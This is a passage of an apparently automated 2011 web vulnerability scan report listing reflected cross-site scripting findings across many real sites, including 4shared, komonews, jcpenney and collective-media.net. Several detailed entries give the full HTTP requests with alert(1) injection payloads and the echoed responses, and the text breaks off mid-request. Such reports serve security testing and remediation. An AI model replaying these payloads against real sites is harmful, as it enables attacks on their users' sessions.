1.335. http://www.4shared.com/images/index-premium-features.png [REST URL parameter 2]

1.336. http://www.4shared.com/images/spacer.gif [REST URL parameter 1]

1.337. http://www.4shared.com/images/spacer.gif [REST URL parameter 2]

1.338. http://www.4shared.com/index.jsp [REST URL parameter 1]

1.339. http://www.4shared.com/js/index.js [REST URL parameter 1]

1.340. http://www.4shared.com/js/index.js [REST URL parameter 2]

1.341. http://www.4shared.com/js/loginScript.jsp [REST URL parameter 1]

1.342. http://www.4shared.com/js/loginScript.jsp [REST URL parameter 2]

1.343. http://www.4shared.com/js/signup-script.jsp [REST URL parameter 1]

1.344. http://www.4shared.com/js/signup-script.jsp [REST URL parameter 2]

1.345. http://www.4shared.com/loginBox.jsp [REST URL parameter 1]

1.346. http://www.4shared.com/m/android.jsp [REST URL parameter 1]

1.347. http://www.4shared.com/m/android.jsp [REST URL parameter 2]

1.348. http://www.4shared.com/m/blackberry.jsp [REST URL parameter 1]

1.349. http://www.4shared.com/m/blackberry.jsp [REST URL parameter 2]

1.350. http://www.4shared.com/m/symbian.jsp [REST URL parameter 1]

1.351. http://www.4shared.com/m/symbian.jsp [REST URL parameter 2]

1.352. http://www.4shared.com/main/translate/setLang.jsp [REST URL parameter 1]

1.353. http://www.4shared.com/main/translate/setLang.jsp [REST URL parameter 2]

1.354. http://www.4shared.com/main/translate/setLang.jsp [REST URL parameter 3]

1.355. http://www.4shared.com/oauth/startFacebookLogin.jsp [REST URL parameter 1]

1.356. http://www.4shared.com/oauth/startFacebookLogin.jsp [REST URL parameter 2]

1.357. http://www.4shared.com/premium.jsp [REST URL parameter 1]

1.358. http://www.4shared.com/press_room/ [REST URL parameter 1]

1.359. http://www.4shared.com/privacy.jsp [REST URL parameter 1]

1.360. http://www.4shared.com/q/BAQD/1/books_office [REST URL parameter 1]

1.361. http://www.4shared.com/q/BAQD/1/music [REST URL parameter 1]

1.362. http://www.4shared.com/q/BAQD/1/photo [REST URL parameter 1]

1.363. http://www.4shared.com/q/BAQD/1/video [REST URL parameter 1]

1.364. http://www.4shared.com/q/BBQD/1/books_office [REST URL parameter 1]

1.365. http://www.4shared.com/q/BBQD/1/music [REST URL parameter 1]

1.366. http://www.4shared.com/q/BBQD/1/photo [REST URL parameter 1]

1.367. http://www.4shared.com/q/BBQD/1/video [REST URL parameter 1]

1.368. http://www.4shared.com/remindPassword.jsp [REST URL parameter 1]

1.369. http://www.4shared.com/resellers.jsp [REST URL parameter 1]

1.370. http://www.4shared.com/servlet/ProgressStatus [REST URL parameter 1]

1.371. http://www.4shared.com/servlet/ProgressStatus [REST URL parameter 2]

1.372. http://www.4shared.com/signUpBox.jsp [REST URL parameter 1]

1.373. http://www.4shared.com/signUpBox.jsp [df parameter]

1.374. http://www.4shared.com/signup.jsp [REST URL parameter 1]

1.375. http://www.4shared.com/terms.jsp [REST URL parameter 1]

1.376. http://www.4shared.com/toolbar/ [REST URL parameter 1]

1.377. http://www.addthis.com/bookmark.php [REST URL parameter 1]

1.378. http://www.addthis.com/bookmark.php [REST URL parameter 1]

1.379. http://www.addthis.com/bookmark.php [name of an arbitrarily supplied request parameter]

1.380. http://www.barracudanetworks.com/ [name of an arbitrarily supplied request parameter]

1.381. http://www.barracudanetworks.com/ns/ [name of an arbitrarily supplied request parameter]

1.382. http://www.barracudanetworks.com/ns/privacy/ [name of an arbitrarily supplied request parameter]

1.383. http://www.barracudanetworks.com/ns/products/web-application-controller-overview.php [name of an arbitrarily supplied request parameter]

1.384. http://www.bing.com/local/assetgeneration.handler/ [REST URL parameter 2]

1.385. http://www.bing.com/local/assets/img/sprites/details.sprite.png [REST URL parameter 2]

1.386. http://www.bing.com/local/assets/img/sprites/details.sprite.png [REST URL parameter 3]

1.387. http://www.bing.com/local/assets/img/sprites/details.sprite.png [REST URL parameter 4]

1.388. http://www.bluefountainmedia.com/blog [name of an arbitrarily supplied request parameter]

1.389. http://www.bluefountainmedia.com/blog/ [name of an arbitrarily supplied request parameter]

1.390. http://www.bluefountainmedia.com/business [name of an arbitrarily supplied request parameter]

1.391. http://www.bluefountainmedia.com/business/ [name of an arbitrarily supplied request parameter]

1.392. http://www.conduit-banners.com/drawtoolbar/ [culture parameter]

1.393. https://www.demandstudios.com/application.html [role parameter]

1.394. http://www.dyn-web.com/bus/terms.html [REST URL parameter 1]

1.395. http://www.google.com/advanced_search [name of an arbitrarily supplied request parameter]

1.396. http://www.google.com/search [tch parameter]

1.397. http://www.intensedebate.com/js/getCommentLink.php [REST URL parameter 2]

1.398. http://www.intensedebate.com/js/getCommentLink.php [name of an arbitrarily supplied request parameter]

1.399. http://www.intensedebate.com/js/getCommentLink.php [postid parameter]

1.400. http://www.jcpenney.com/jcp/getjcpheaderc.aspx [function parameter]

1.401. http://www.komonews.com/home/video/116474128.html [name of an arbitrarily supplied request parameter]

1.402. http://www.komonews.com/home/video/116545678.html [name of an arbitrarily supplied request parameter]

1.403. http://www.komonews.com/home/video/116673784.html [name of an arbitrarily supplied request parameter]

1.404. http://www.komonews.com/home/video/116675584.html [name of an arbitrarily supplied request parameter]

1.405. http://www.komonews.com/home/video/116675749.html [name of an arbitrarily supplied request parameter]

1.406. http://www.komonews.com/home/video/116702184.html [name of an arbitrarily supplied request parameter]

1.407. http://www.komonews.com/news/116650859.html [name of an arbitrarily supplied request parameter]

1.408. http://www.komonews.com/news/116650859.html [skipthumb parameter]

1.409. http://www.komonews.com/news/116652534.html [name of an arbitrarily supplied request parameter]

1.410. http://www.komonews.com/news/116694569.html [name of an arbitrarily supplied request parameter]

1.411. http://www.komonews.com/news/116694569.html [skipthumb parameter]

1.412. http://www.komonews.com/news/116694614.html [name of an arbitrarily supplied request parameter]

1.413. http://www.komonews.com/news/116707379.html [name of an arbitrarily supplied request parameter]

1.414. http://www.komonews.com/news/116727124.html [name of an arbitrarily supplied request parameter]

1.415. http://www.komonews.com/news/boeing/116707614.html [name of an arbitrarily supplied request parameter]

1.416. http://www.komonews.com/news/business/116735244.html [name of an arbitrarily supplied request parameter]

1.417. http://www.komonews.com/news/business/116739564.html [name of an arbitrarily supplied request parameter]

1.418. http://www.komonews.com/news/business/116739939.html [name of an arbitrarily supplied request parameter]

1.419. http://www.komonews.com/news/business/116740159.html [name of an arbitrarily supplied request parameter]

1.420. http://www.komonews.com/news/business/116740389.html [name of an arbitrarily supplied request parameter]

1.421. http://www.komonews.com/news/consumer/116673109.html [name of an arbitrarily supplied request parameter]

1.422. http://www.komonews.com/news/consumer/116704069.html [name of an arbitrarily supplied request parameter]

1.423. http://www.komonews.com/news/entertainment/116123569.html [name of an arbitrarily supplied request parameter]

1.424. http://www.komonews.com/news/entertainment/116189709.html [name of an arbitrarily supplied request parameter]

1.425. http://www.komonews.com/news/entertainment/116665019.html [name of an arbitrarily supplied request parameter]

1.426. http://www.komonews.com/news/entertainment/116680394.html [name of an arbitrarily supplied request parameter]

1.427. http://www.komonews.com/news/entertainment/116692424.html [name of an arbitrarily supplied request parameter]

1.428. http://www.komonews.com/news/entertainment/116704174.html [name of an arbitrarily supplied request parameter]

1.429. http://www.komonews.com/news/entertainment/116707059.html [name of an arbitrarily supplied request parameter]

1.430. http://www.komonews.com/news/entertainment/116707059.html [ref parameter]

1.431. http://www.komonews.com/news/entertainment/116710289.html [name of an arbitrarily supplied request parameter]

1.432. http://www.komonews.com/news/entertainment/116737029.html [name of an arbitrarily supplied request parameter]

1.433. http://www.komonews.com/news/entertainment/116737029.html [ref parameter]

1.434. http://www.komonews.com/news/entertainment/116737724.html [name of an arbitrarily supplied request parameter]

1.435. http://www.komonews.com/news/entertainment/116737724.html [ref parameter]

1.436. http://www.komonews.com/news/health/116753189.html [name of an arbitrarily supplied request parameter]

1.437. http://www.komonews.com/news/local/116231884.html [name of an arbitrarily supplied request parameter]

1.438. http://www.komonews.com/news/local/116509853.html [name of an arbitrarily supplied request parameter]

1.439. http://www.komonews.com/news/local/116694614.html [name of an arbitrarily supplied request parameter]

1.440. http://www.komonews.com/news/local/116703604.html [name of an arbitrarily supplied request parameter]

1.441. http://www.komonews.com/news/local/116703604.html [skipthumb parameter]

1.442. http://www.komonews.com/news/local/116703604.html [tab parameter]

1.443. http://www.komonews.com/news/local/116706579.html [name of an arbitrarily supplied request parameter]

1.444. http://www.komonews.com/news/local/116707379.html [name of an arbitrarily supplied request parameter]

1.445. http://www.komonews.com/news/local/116712649.html [name of an arbitrarily supplied request parameter]

1.446. http://www.komonews.com/news/local/116714899.html [name of an arbitrarily supplied request parameter]

1.447. http://www.komonews.com/news/local/116727124.html [name of an arbitrarily supplied request parameter]

1.448. http://www.komonews.com/news/local/116745309.html [name of an arbitrarily supplied request parameter]

1.449. http://www.komonews.com/news/local/116752479.html [name of an arbitrarily supplied request parameter]

1.450. http://www.komonews.com/news/local/116755469.html [name of an arbitrarily supplied request parameter]

1.451. http://www.komonews.com/news/national/115640079.html [name of an arbitrarily supplied request parameter]

1.452. http://www.komonews.com/news/national/116404039.html [name of an arbitrarily supplied request parameter]

1.453. http://www.komonews.com/news/national/116502428.html [name of an arbitrarily supplied request parameter]

1.454. http://www.komonews.com/news/national/116713504.html [name of an arbitrarily supplied request parameter]

1.455. http://www.komonews.com/news/national/116734714.html [name of an arbitrarily supplied request parameter]

1.456. http://www.komonews.com/news/national/116736489.html [name of an arbitrarily supplied request parameter]

1.457. http://www.komonews.com/news/national/116736624.html [name of an arbitrarily supplied request parameter]

1.458. http://www.komonews.com/news/national/116747399.html [name of an arbitrarily supplied request parameter]

1.459. http://www.komonews.com/news/national/116750534.html [name of an arbitrarily supplied request parameter]

1.460. http://www.komonews.com/news/national/116750784.html [name of an arbitrarily supplied request parameter]

1.461. http://www.komonews.com/news/offbeat/116565253.html [name of an arbitrarily supplied request parameter]

1.462. http://www.komonews.com/news/offbeat/116611588.html [name of an arbitrarily supplied request parameter]

1.463. http://www.komonews.com/news/offbeat/116622758.html [name of an arbitrarily supplied request parameter]

1.464. http://www.komonews.com/news/offbeat/116623473.html [name of an arbitrarily supplied request parameter]

1.465. http://www.komonews.com/news/offbeat/116690659.html [name of an arbitrarily supplied request parameter]

1.466. http://www.komonews.com/news/offbeat/116708664.html [name of an arbitrarily supplied request parameter]

1.467. http://www.komonews.com/news/offbeat/116708664.html [ref parameter]

1.468. http://www.komonews.com/news/offbeat/116708719.html [name of an arbitrarily supplied request parameter]

1.469. http://www.komonews.com/news/offbeat/116708719.html [ref parameter]

1.470. http://www.komonews.com/news/offbeat/116749349.html [name of an arbitrarily supplied request parameter]

1.471. http://www.komonews.com/news/offbeat/116749349.html [ref parameter]

1.472. http://www.komonews.com/news/tech/116596303.html [name of an arbitrarily supplied request parameter]

1.473. http://www.komonews.com/news/tech/116609493.html [name of an arbitrarily supplied request parameter]

1.474. http://www.komonews.com/news/tech/116666119.html [name of an arbitrarily supplied request parameter]

1.475. http://www.komonews.com/news/tech/116674969.html [name of an arbitrarily supplied request parameter]

1.476. http://www.komonews.com/news/tech/116740874.html [name of an arbitrarily supplied request parameter]

1.477. http://www.komonews.com/news/tech/116748424.html [name of an arbitrarily supplied request parameter]

1.478. http://www.komonews.com/obits [name of an arbitrarily supplied request parameter]

1.479. http://www.komonews.com/obits/ [chid parameter]

1.480. http://www.komonews.com/obits/ [name of an arbitrarily supplied request parameter]

1.481. http://www.komonews.com/opinion/kenschram/116741919.html [name of an arbitrarily supplied request parameter]

1.482. http://www.komonews.com/sports/116570948.html [name of an arbitrarily supplied request parameter]

1.483. http://www.komonews.com/sports/116572113.html [name of an arbitrarily supplied request parameter]

1.484. http://www.komonews.com/sports/116601093.html [name of an arbitrarily supplied request parameter]

1.485. http://www.komonews.com/sports/116612208.html [name of an arbitrarily supplied request parameter]

1.486. http://www.komonews.com/sports/116713754.html [name of an arbitrarily supplied request parameter]

1.487. http://www.komonews.com/younews [c parameter]

1.488. http://www.komonews.com/younews [cid parameter]

1.489. http://www.komonews.com/younews [name of an arbitrarily supplied request parameter]

1.490. http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx [lhnid parameter]

1.491. http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx [t parameter]

1.492. http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx [zimg parameter]

1.493. http://www.ndbc.noaa.gov/rss/ndbc_obs_search.php [name of an arbitrarily supplied request parameter]

1.494. http://www.weather.gov/view/national.php [name of an arbitrarily supplied request parameter]

1.495. http://www.weather.gov/view/states.php [name of an arbitrarily supplied request parameter]

1.496. http://www.weather.gov/view/validProds.php [name of an arbitrarily supplied request parameter]

1.497. http://www.wrh.noaa.gov/sew/main.php [name of an arbitrarily supplied request parameter]

1.498. http://www2.jcpenney.com/jcp/getjcpheaderc.aspx [function parameter]

1.499. http://www4.jcpenney.com/jcp/getjcpheaderc.aspx [function parameter]

1.500. http://www5.jcpenney.com/jcp/X6E.aspx [CmCatId parameter]

1.501. http://www5.jcpenney.com/jcp/getjcpheaderc.aspx [function parameter]

1.502. http://xsltcache.alexa.com/traffic_graph/js/g/a/3m [REST URL parameter 5]

1.503. http://ib.adnxs.com/ttj [Referer HTTP header]

1.504. http://www.4shared.com/icons/16x16/ [Referer HTTP header]

1.505. http://www.addthis.com/bookmark.php [Referer HTTP header]

1.506. http://www.alexa.com/data/details/traffic_details [Referer HTTP header]

1.507. http://www.espnshop.com/ [Referer HTTP header]

1.508. http://www.espnshop.com/family/index.jsp [Referer HTTP header]

1.509. https://www.rei.com/ForgotPassword [Referer HTTP header]

1.510. https://www.rei.com/OrderTrackingLoginView [Referer HTTP header]

1.511. https://www.rei.com/RegistrationView [Referer HTTP header]

1.512. https://www.rei.com/YourAccountLoginView [Referer HTTP header]

1.513. http://a.collective-media.net/cmadj/manta.comp/energy_resources [cli cookie]

1.514. http://seg.sharethis.com/getSegment.php [__stid cookie]



1. Cross-site scripting (reflected)
There are 514 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://66.226.75.109/areaCodes/detail/240/x22 [REST URL parameter 3]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://66.226.75.109
Path:   /areaCodes/detail/240/x22

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1eab4"><img%20src%3da%20onerror%3dalert(1)>11b26d08f45 was submitted in the REST URL parameter 3. This input was echoed as 1eab4"><img src=a onerror=alert(1)>11b26d08f45 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /areaCodes/detail/2401eab4"><img%20src%3da%20onerror%3dalert(1)>11b26d08f45/x22 HTTP/1.1
Host: 66.226.75.109
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 01:54:07 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: CAKEPHP=3b6903bdbf87953dd60f786f4943fe8b; expires=Sat, 05-Mar-2011 01:54:07 GMT; path=/
Connection: close
Content-Type: text/html
Content-Length: 332163

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <title>
       Area Code Re
...[SNIP]...
<a href="/npa_nxx/view/2401eab4"><img src=a onerror=alert(1)>11b26d08f45-000">
...[SNIP]...

1.2. http://a.collective-media.net/adj/manta.comp/energy_resources [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/energy_resources

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 179a9'-alert(1)-'8bab3f5f0bf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp179a9'-alert(1)-'8bab3f5f0bf/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;ord=9636399718001484? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; dc=dc-sea; rdst12=1; dp2=1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 626
Date: Sat, 26 Feb 2011 00:19:28 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:28 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/manta.comp179a9'-alert(1)-'8bab3f5f0bf/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;
...[SNIP]...

1.3. http://a.collective-media.net/adj/manta.comp/energy_resources [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/energy_resources

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f6850'-alert(1)-'345e4ad839d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp/energy_resourcesf6850'-alert(1)-'345e4ad839d;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;ord=9636399718001484? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; dc=dc-sea; rdst12=1; dp2=1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 626
Date: Sat, 26 Feb 2011 00:19:29 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:29 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/manta.comp/energy_resourcesf6850'-alert(1)-'345e4ad839d;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001
...[SNIP]...

1.4. http://a.collective-media.net/adj/manta.comp/energy_resources [k parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/energy_resources

Issue detail

The value of the k request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97420'-alert(1)-'8b2472a3796 was submitted in the k parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp/energy_resources;k=waste+disposal;c=704%2B0154271761;pos=top;sz=300x250;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;dcopt=ist;tile=2;ord=9636399718001484?97420'-alert(1)-'8b2472a3796 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/manta/mads/generic.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea; apnx=1; nadp=1; blue=1; qcdp=1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 670
Date: Sat, 26 Feb 2011 00:19:44 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:44 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="ht
...[SNIP]...
=300x250;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;dcopt=ist;tile=2;net=mt;ord=9636399718001484?97420'-alert(1)-'8b2472a3796;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

1.5. http://a.collective-media.net/adj/manta.comp/energy_resources [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/energy_resources

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 11c75'-alert(1)-'9ed8bcfa867 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;ord=9636399718001484?&11c75'-alert(1)-'9ed8bcfa867=1 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; dc=dc-sea; rdst12=1; dp2=1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 630
Date: Sat, 26 Feb 2011 00:19:27 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:27 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="ht
...[SNIP]...
top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001484?&11c75'-alert(1)-'9ed8bcfa867=1;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

1.6. http://a.collective-media.net/adj/manta.comp/energy_resources [pos parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/energy_resources

Issue detail

The value of the pos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5e66d'-alert(1)-'827aa445761 was submitted in the pos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;ord=9636399718001484?5e66d'-alert(1)-'827aa445761 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
